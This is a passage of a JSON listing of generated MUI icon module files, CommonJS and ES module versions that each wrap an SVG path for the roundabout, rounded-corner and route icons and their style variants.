    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.08 8c.48-2.84 2.94-5 5.92-5 3.31 0 6 2.69 6 6 0 2.97-2.16 5.44-5 5.92V21h-2v-6.09c0-.98.71-1.8 1.67-1.97C18.56 12.63 20 10.98 20 9c0-2.21-1.79-4-4-4-1.98 0-3.63 1.44-3.94 3.33-.17.96-.99 1.67-1.97 1.67H5.83l1.59 1.59L6 13 2 9l4-4 1.41 1.41L5.83 8z\"\n}), 'RoundaboutLeftOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RoundaboutLeftOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.08 8c.48-2.84 2.94-5 5.92-5 3.31 0 6 2.69 6 6 0 2.97-2.16 5.44-5 5.92V21h-2v-6.09c0-.98.71-1.8 1.67-1.97C18.56 12.63 20 10.98 20 9c0-2.21-1.79-4-4-4-1.98 0-3.63 1.44-3.94 3.33-.17.96-.99 1.67-1.97 1.67H5.83l1.59 1.59L6 13 2 9l4-4 1.41 1.41L5.83 8z\"\n}), 'RoundaboutLeftOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RoundaboutLeftRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 21c-.55 0-1-.45-1-1v-5.09c0-.98.71-1.8 1.67-1.97C18.56 12.63 20 10.98 20 9c0-2.21-1.79-4-4-4-1.98 0-3.63 1.44-3.94 3.33-.17.96-.99 1.67-1.97 1.67H5.83l.88.88c.39.39.39 1.02 0 1.41s-1.02.39-1.41 0L2.71 9.71a.996.996 0 0 1 0-1.41L5.3 5.71c.39-.39 1.02-.39 1.41 0s.39 1.02 0 1.41L5.83 8h4.25c.48-2.84 2.94-5 5.92-5 3.31 0 6 2.69 6 6 0 2.97-2.16 5.44-5 5.92V20c0 .55-.45 1-1 1\"\n}), 'RoundaboutLeftRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RoundaboutLeftRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 21c-.55 0-1-.45-1-1v-5.09c0-.98.71-1.8 1.67-1.97C18.56 12.63 20 10.98 20 9c0-2.21-1.79-4-4-4-1.98 0-3.63 1.44-3.94 3.33-.17.96-.99 1.67-1.97 1.67H5.83l.88.88c.39.39.39 1.02 0 1.41s-1.02.39-1.41 0L2.71 9.71a.996.996 0 0 1 0-1.41L5.3 5.71c.39-.39 1.02-.39 1.41 0s.39 1.02 0 1.41L5.83 8h4.25c.48-2.84 2.94-5 5.92-5 3.31 0 6 2.69 6 6 0 2.97-2.16 5.44-5 5.92V20c0 .55-.45 1-1 1\"\n}), 'RoundaboutLeftRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RoundaboutLeftSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 13c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4v1H5.83l1.59 1.59L6 13 2 9l4-4 1.41 1.41L5.83 8h4.25c.48-2.84 2.94-5 5.92-5 3.31 0 6 2.69 6 6 0 2.97-2.16 5.44-5 5.92V21h-2v-8z\"\n}), 'RoundaboutLeftSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RoundaboutLeftSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 13c2.21 0 4-1.79 4-4s-1.79-4-4-4-4 1.79-4 4v1H5.83l1.59 1.59L6 13 2 9l4-4 1.41 1.41L5.83 8h4.25c.48-2.84 2.94-5 5.92-5 3.31 0 6 2.69 6 6 0 2.97-2.16 5.44-5 5.92V21h-2v-8z\"\n}), 'RoundaboutLeftSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RoundaboutLeftTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.08 8c.48-2.84 2.94-5 5.92-5 3.31 0 6 2.69 6 6 0 2.97-2.16 5.44-5 5.92V21h-2v-6.09c0-.98.71-1.8 1.67-1.97C18.56 12.63 20 10.98 20 9c0-2.21-1.79-4-4-4-1.98 0-3.63 1.44-3.94 3.33-.17.96-.99 1.67-1.97 1.67H5.83l1.59 1.59L6 13 2 9l4-4 1.41 1.41L5.83 8z\"\n}), 'RoundaboutLeftTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RoundaboutLeftTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.08 8c.48-2.84 2.94-5 5.92-5 3.31 0 6 2.69 6 6 0 2.97-2.16 5.44-5 5.92V21h-2v-6.09c0-.98.71-1.8 1.67-1.97C18.56 12.63 20 10.98 20 9c0-2.21-1.79-4-4-4-1.98 0-3.63 1.44-3.94 3.33-.17.96-.99 1.67-1.97 1.67H5.83l1.59 1.59L6 13 2 9l4-4 1.41 1.41L5.83 8z\"\n}), 'RoundaboutLeftTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RoundaboutRight.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.92 8C13.44 5.16 10.97 3 8 3 4.69 3 2 5.69 2 9c0 2.97 2.16 5.44 5 5.92V21h2v-6.09c0-.98-.71-1.8-1.67-1.97C5.44 12.63 4 10.98 4 9c0-2.21 1.79-4 4-4 1.98 0 3.63 1.44 3.94 3.33.17.96.99 1.67 1.97 1.67h4.26l-1.59 1.59L18 13l4-4-4-4-1.41 1.41L18.17 8z\"\n}), 'RoundaboutRight');"
  },
  {
    "path": "packages/mui-icons-material/lib/RoundaboutRight.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.92 8C13.44 5.16 10.97 3 8 3 4.69 3 2 5.69 2 9c0 2.97 2.16 5.44 5 5.92V21h2v-6.09c0-.98-.71-1.8-1.67-1.97C5.44 12.63 4 10.98 4 9c0-2.21 1.79-4 4-4 1.98 0 3.63 1.44 3.94 3.33.17.96.99 1.67 1.97 1.67h4.26l-1.59 1.59L18 13l4-4-4-4-1.41 1.41L18.17 8z\"\n}), 'RoundaboutRight');"
  },
  {
    "path": "packages/mui-icons-material/lib/RoundaboutRightOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.92 8C13.44 5.16 10.97 3 8 3 4.69 3 2 5.69 2 9c0 2.97 2.16 5.44 5 5.92V21h2v-6.09c0-.98-.71-1.8-1.67-1.97C5.44 12.63 4 10.98 4 9c0-2.21 1.79-4 4-4 1.98 0 3.63 1.44 3.94 3.33.17.96.99 1.67 1.97 1.67h4.26l-1.59 1.59L18 13l4-4-4-4-1.41 1.41L18.17 8z\"\n}), 'RoundaboutRightOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RoundaboutRightOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.92 8C13.44 5.16 10.97 3 8 3 4.69 3 2 5.69 2 9c0 2.97 2.16 5.44 5 5.92V21h2v-6.09c0-.98-.71-1.8-1.67-1.97C5.44 12.63 4 10.98 4 9c0-2.21 1.79-4 4-4 1.98 0 3.63 1.44 3.94 3.33.17.96.99 1.67 1.97 1.67h4.26l-1.59 1.59L18 13l4-4-4-4-1.41 1.41L18.17 8z\"\n}), 'RoundaboutRightOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RoundaboutRightRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 21c.55 0 1-.45 1-1v-5.09c0-.98-.71-1.8-1.67-1.97C5.44 12.63 4 10.98 4 9c0-2.21 1.79-4 4-4 1.98 0 3.63 1.44 3.94 3.33.17.96.99 1.67 1.97 1.67h4.26l-.88.88c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0l2.59-2.59c.39-.39.39-1.02 0-1.41L18.7 5.7a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l.88.89h-4.25C13.44 5.16 10.97 3 8 3 4.69 3 2 5.69 2 9c0 2.97 2.16 5.44 5 5.92V20c0 .55.45 1 1 1\"\n}), 'RoundaboutRightRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RoundaboutRightRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 21c.55 0 1-.45 1-1v-5.09c0-.98-.71-1.8-1.67-1.97C5.44 12.63 4 10.98 4 9c0-2.21 1.79-4 4-4 1.98 0 3.63 1.44 3.94 3.33.17.96.99 1.67 1.97 1.67h4.26l-.88.88c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0l2.59-2.59c.39-.39.39-1.02 0-1.41L18.7 5.7a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l.88.89h-4.25C13.44 5.16 10.97 3 8 3 4.69 3 2 5.69 2 9c0 2.97 2.16 5.44 5 5.92V20c0 .55.45 1 1 1\"\n}), 'RoundaboutRightRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RoundaboutRightSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 13c-2.21 0-4-1.79-4-4s1.79-4 4-4 4 1.79 4 4v1h6.17l-1.59 1.59L18 13l4-4-4-4-1.41 1.41L18.17 8h-4.25C13.44 5.16 10.97 3 8 3 4.69 3 2 5.69 2 9c0 2.97 2.16 5.44 5 5.92V21h2v-8z\"\n}), 'RoundaboutRightSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RoundaboutRightSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 13c-2.21 0-4-1.79-4-4s1.79-4 4-4 4 1.79 4 4v1h6.17l-1.59 1.59L18 13l4-4-4-4-1.41 1.41L18.17 8h-4.25C13.44 5.16 10.97 3 8 3 4.69 3 2 5.69 2 9c0 2.97 2.16 5.44 5 5.92V21h2v-8z\"\n}), 'RoundaboutRightSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RoundaboutRightTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.92 8C13.44 5.16 10.97 3 8 3 4.69 3 2 5.69 2 9c0 2.97 2.16 5.44 5 5.92V21h2v-6.09c0-.98-.71-1.8-1.67-1.97C5.44 12.63 4 10.98 4 9c0-2.21 1.79-4 4-4 1.98 0 3.63 1.44 3.94 3.33.17.96.99 1.67 1.97 1.67h4.26l-1.59 1.59L18 13l4-4-4-4-1.41 1.41L18.17 8z\"\n}), 'RoundaboutRightTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RoundaboutRightTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.92 8C13.44 5.16 10.97 3 8 3 4.69 3 2 5.69 2 9c0 2.97 2.16 5.44 5 5.92V21h2v-6.09c0-.98-.71-1.8-1.67-1.97C5.44 12.63 4 10.98 4 9c0-2.21 1.79-4 4-4 1.98 0 3.63 1.44 3.94 3.33.17.96.99 1.67 1.97 1.67h4.26l-1.59 1.59L18 13l4-4-4-4-1.41 1.41L18.17 8z\"\n}), 'RoundaboutRightTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RoundedCorner.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 19h2v2h-2zm0-2h2v-2h-2zM3 13h2v-2H3zm0 4h2v-2H3zm0-8h2V7H3zm0-4h2V3H3zm4 0h2V3H7zm8 16h2v-2h-2zm-4 0h2v-2h-2zm4 0h2v-2h-2zm-8 0h2v-2H7zm-4 0h2v-2H3zM21 8c0-2.76-2.24-5-5-5h-5v2h5c1.65 0 3 1.35 3 3v5h2z\"\n}), 'RoundedCorner');"
  },
  {
    "path": "packages/mui-icons-material/lib/RoundedCorner.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 19h2v2h-2zm0-2h2v-2h-2zM3 13h2v-2H3zm0 4h2v-2H3zm0-8h2V7H3zm0-4h2V3H3zm4 0h2V3H7zm8 16h2v-2h-2zm-4 0h2v-2h-2zm4 0h2v-2h-2zm-8 0h2v-2H7zm-4 0h2v-2H3zM21 8c0-2.76-2.24-5-5-5h-5v2h5c1.65 0 3 1.35 3 3v5h2z\"\n}), 'RoundedCorner');"
  },
  {
    "path": "packages/mui-icons-material/lib/RoundedCornerOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 19h2v2h-2zm0-2h2v-2h-2zM3 13h2v-2H3zm0 4h2v-2H3zm0-8h2V7H3zm0-4h2V3H3zm4 0h2V3H7zm8 16h2v-2h-2zm-4 0h2v-2h-2zm4 0h2v-2h-2zm-8 0h2v-2H7zm-4 0h2v-2H3zM21 8c0-2.76-2.24-5-5-5h-5v2h5c1.65 0 3 1.35 3 3v5h2z\"\n}), 'RoundedCornerOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RoundedCornerOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 19h2v2h-2zm0-2h2v-2h-2zM3 13h2v-2H3zm0 4h2v-2H3zm0-8h2V7H3zm0-4h2V3H3zm4 0h2V3H7zm8 16h2v-2h-2zm-4 0h2v-2h-2zm4 0h2v-2h-2zm-8 0h2v-2H7zm-4 0h2v-2H3zM21 8c0-2.76-2.24-5-5-5h-5v2h5c1.65 0 3 1.35 3 3v5h2z\"\n}), 'RoundedCornerOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RoundedCornerRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 19h2v2h-2zm0-2h2v-2h-2zM3 13h2v-2H3zm0 4h2v-2H3zm0-8h2V7H3zm0-4h2V3H3zm4 0h2V3H7zm8 16h2v-2h-2zm-4 0h2v-2h-2zm4 0h2v-2h-2zm-8 0h2v-2H7zm-4 0h2v-2H3zM21 8c0-2.76-2.24-5-5-5h-5v2h5c1.65 0 3 1.35 3 3v5h2z\"\n}), 'RoundedCornerRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RoundedCornerRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 19h2v2h-2zm0-2h2v-2h-2zM3 13h2v-2H3zm0 4h2v-2H3zm0-8h2V7H3zm0-4h2V3H3zm4 0h2V3H7zm8 16h2v-2h-2zm-4 0h2v-2h-2zm4 0h2v-2h-2zm-8 0h2v-2H7zm-4 0h2v-2H3zM21 8c0-2.76-2.24-5-5-5h-5v2h5c1.65 0 3 1.35 3 3v5h2z\"\n}), 'RoundedCornerRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RoundedCornerSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 19h2v2h-2zm0-2h2v-2h-2zM3 13h2v-2H3zm0 4h2v-2H3zm0-8h2V7H3zm0-4h2V3H3zm4 0h2V3H7zm8 16h2v-2h-2zm-4 0h2v-2h-2zm4 0h2v-2h-2zm-8 0h2v-2H7zm-4 0h2v-2H3zM21 8c0-2.76-2.24-5-5-5h-5v2h5c1.65 0 3 1.35 3 3v5h2z\"\n}), 'RoundedCornerSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RoundedCornerSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 19h2v2h-2zm0-2h2v-2h-2zM3 13h2v-2H3zm0 4h2v-2H3zm0-8h2V7H3zm0-4h2V3H3zm4 0h2V3H7zm8 16h2v-2h-2zm-4 0h2v-2h-2zm4 0h2v-2h-2zm-8 0h2v-2H7zm-4 0h2v-2H3zM21 8c0-2.76-2.24-5-5-5h-5v2h5c1.65 0 3 1.35 3 3v5h2z\"\n}), 'RoundedCornerSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RoundedCornerTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 19h2v2h-2zm0-2h2v-2h-2zM3 13h2v-2H3zm0 4h2v-2H3zm0-8h2V7H3zm0-4h2V3H3zm4 0h2V3H7zm8 16h2v-2h-2zm-4 0h2v-2h-2zm4 0h2v-2h-2zm-8 0h2v-2H7zm-4 0h2v-2H3zM21 8c0-2.76-2.24-5-5-5h-5v2h5c1.65 0 3 1.35 3 3v5h2z\"\n}), 'RoundedCornerTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RoundedCornerTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 19h2v2h-2zm0-2h2v-2h-2zM3 13h2v-2H3zm0 4h2v-2H3zm0-8h2V7H3zm0-4h2V3H3zm4 0h2V3H7zm8 16h2v-2h-2zm-4 0h2v-2h-2zm4 0h2v-2h-2zm-8 0h2v-2H7zm-4 0h2v-2H3zM21 8c0-2.76-2.24-5-5-5h-5v2h5c1.65 0 3 1.35 3 3v5h2z\"\n}), 'RoundedCornerTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Route.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 15.18V7c0-2.21-1.79-4-4-4s-4 1.79-4 4v10c0 1.1-.9 2-2 2s-2-.9-2-2V8.82C8.16 8.4 9 7.3 9 6c0-1.66-1.34-3-3-3S3 4.34 3 6c0 1.3.84 2.4 2 2.82V17c0 2.21 1.79 4 4 4s4-1.79 4-4V7c0-1.1.9-2 2-2s2 .9 2 2v8.18c-1.16.41-2 1.51-2 2.82 0 1.66 1.34 3 3 3s3-1.34 3-3c0-1.3-.84-2.4-2-2.82\"\n}), 'Route');"
  },
  {
    "path": "packages/mui-icons-material/lib/Route.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 15.18V7c0-2.21-1.79-4-4-4s-4 1.79-4 4v10c0 1.1-.9 2-2 2s-2-.9-2-2V8.82C8.16 8.4 9 7.3 9 6c0-1.66-1.34-3-3-3S3 4.34 3 6c0 1.3.84 2.4 2 2.82V17c0 2.21 1.79 4 4 4s4-1.79 4-4V7c0-1.1.9-2 2-2s2 .9 2 2v8.18c-1.16.41-2 1.51-2 2.82 0 1.66 1.34 3 3 3s3-1.34 3-3c0-1.3-.84-2.4-2-2.82\"\n}), 'Route');"
  },
  {
    "path": "packages/mui-icons-material/lib/RouteOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 15.18V7c0-2.21-1.79-4-4-4s-4 1.79-4 4v10c0 1.1-.9 2-2 2s-2-.9-2-2V8.82C8.16 8.4 9 7.3 9 6c0-1.66-1.34-3-3-3S3 4.34 3 6c0 1.3.84 2.4 2 2.82V17c0 2.21 1.79 4 4 4s4-1.79 4-4V7c0-1.1.9-2 2-2s2 .9 2 2v8.18c-1.16.41-2 1.51-2 2.82 0 1.66 1.34 3 3 3s3-1.34 3-3c0-1.3-.84-2.4-2-2.82M6 7c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m12 12c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'RouteOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RouteOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 15.18V7c0-2.21-1.79-4-4-4s-4 1.79-4 4v10c0 1.1-.9 2-2 2s-2-.9-2-2V8.82C8.16 8.4 9 7.3 9 6c0-1.66-1.34-3-3-3S3 4.34 3 6c0 1.3.84 2.4 2 2.82V17c0 2.21 1.79 4 4 4s4-1.79 4-4V7c0-1.1.9-2 2-2s2 .9 2 2v8.18c-1.16.41-2 1.51-2 2.82 0 1.66 1.34 3 3 3s3-1.34 3-3c0-1.3-.84-2.4-2-2.82M6 7c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m12 12c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'RouteOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RouteRounded.js",
